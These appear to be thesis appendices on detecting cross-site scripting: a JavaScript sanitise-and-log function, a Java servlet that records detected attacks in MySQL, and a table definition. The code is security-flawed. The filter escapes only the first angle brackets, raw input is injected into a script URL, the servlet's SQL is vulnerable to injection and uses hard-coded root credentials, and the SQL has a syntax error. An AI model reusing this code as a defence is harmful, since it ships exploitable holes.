A single system was used to serve the virtual hosts on Apache Tomcat as well as
to run MySQL database for logging. Its details are as follows:
Operating System: Windows 7 Home Premium
Manufacturer: Hewlett-Packard
Model: HP-G60 530 US Notebook PC
Processor: Pentium (R) Dual-Core CPU
RAM: 3 GB
Architecture: 64-bit

T 4300 @ 2.10GHz
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Appendix B. Javascript Function
The following function has been used to sanitize a potentially malicious script and log to
a server if an attack is detected.
function chkmsg(s)
{
var xhr = null;
var myHost = "";
var newstr = s.replace("<","&lt;"); //check for unescaped characters
newstr = newstr.replace(">","&gt;");
var start = s.indexOf("http");
var end = s.indexOf("\"",start+7);
var badUrl = s.substring(start, end);
try
{
if(s!=newstr)
{
var check = badUrl.indexOf("http://victim");
if(check==-1) //if script was calling an external domain, log it
{
var currentTime = new Date();
myHost =
"http://log_server_domain/examples/dbInsert?param1="+s+"&param2="+newstr+"&para
m3="+currentTime+"&param4="+badUrl+"&param5="+navigator.appName;
document.write(unescape("%3Cscript src='" +
myHost + "' type='text/javascript'%3E%3C/script%3E"));
/*myHost contains URL of the log server. This value can be customized with the help of
a properties file*/
}
}
}
catch(err)
{
var txt="Host not found!!\n";
txt+="Reason: "+err.description+"\n";
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alert(txt);
}
return newstr;
}
This function calls a servlet named dbInsert to log into database. The source code
of this servlet is given in appendix C.
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Appendix C. Servlet for Logging into Database
The following servlet code is used to log a cross-site scripting attack that is
detected. It inserts details into a table in MySQL called “test_logging”. This table is given
in Appendix D.
/**
* @(#)dbInsert.java
*
*
* @author vvnmithun
* 2010/2/18
*/
import java.sql.*;
import java.io.*;
import java.util.*;
import java.lang.*;
import java.io.IOException;
import java.io.PrintWriter;
import javax.servlet.*;
import javax.servlet.http.*;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
public class dbInsert extends HttpServlet {
protected void doGet(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
response.setContentType("text/html;charset=UTF-8");
PrintWriter out = response.getWriter();
System.out.println("dbInsert called");
Connection con=null;
try {
Class.forName("com.mysql.jdbc.Driver").newInstance();
con =
DriverManager.getConnection("jdbc:mysql://localhost:3306/thesis","root","thesis");
String oldScript = "";
String sanitScript = "";
String ipAddress = "";
//Date today = new Date();
String today = "";
String hostName = "";
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String badHost = "";
String browserType = "";
oldScript = request.getParameter("param1");
sanitScript = request.getParameter("param2");
ipAddress = request.getRemoteAddr();
hostName = request.getRemoteHost();
today = request.getParameter("param3");
badHost = request.getParameter("param4");
browserType = request.getParameter("param5");
String query0 = null;
query0 = "insert into test_logging values
('"+hostName+"','"+oldScript+"','"+today+"','"+badHost+"');";
Statement stmt0 = con.createStatement();
stmt0.executeUpdate(query0);
stmt0.close();
con.close();
System.out.println("DB insertions done");
}
catch (ClassNotFoundException cE) {
System.out.println("Class Not Found Exception: "+ cE.toString());
try{
con.close();
}
catch (SQLException e2) {
System.out.println("SQL Exception: "+ e2.toString());
}
} catch(Exception e)
{
System.out.println("Error"+e);
try{
con.close();
}
catch (SQLException e2) {
System.out.println("SQL Exception: "+ e2.toString());
}
}
finally {
out.close();
}
}
}
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Appendix D. MySQL Table
The MySQL create statement used for the table described in chapter 3, section 4
is given below. This table serves as the log.
CREATE TABLE thesis.test_logging (
ip_address varchar(200) DEFAULT NULL,
script varchar(200) DEFAULT NULL,
time_stamp varchar(200) DEFAULT NULL,
suspect_url varchar(200) DEFAULT NULL,
) ENGINE=InnoDB DEFAULT CHARSET=latin1;

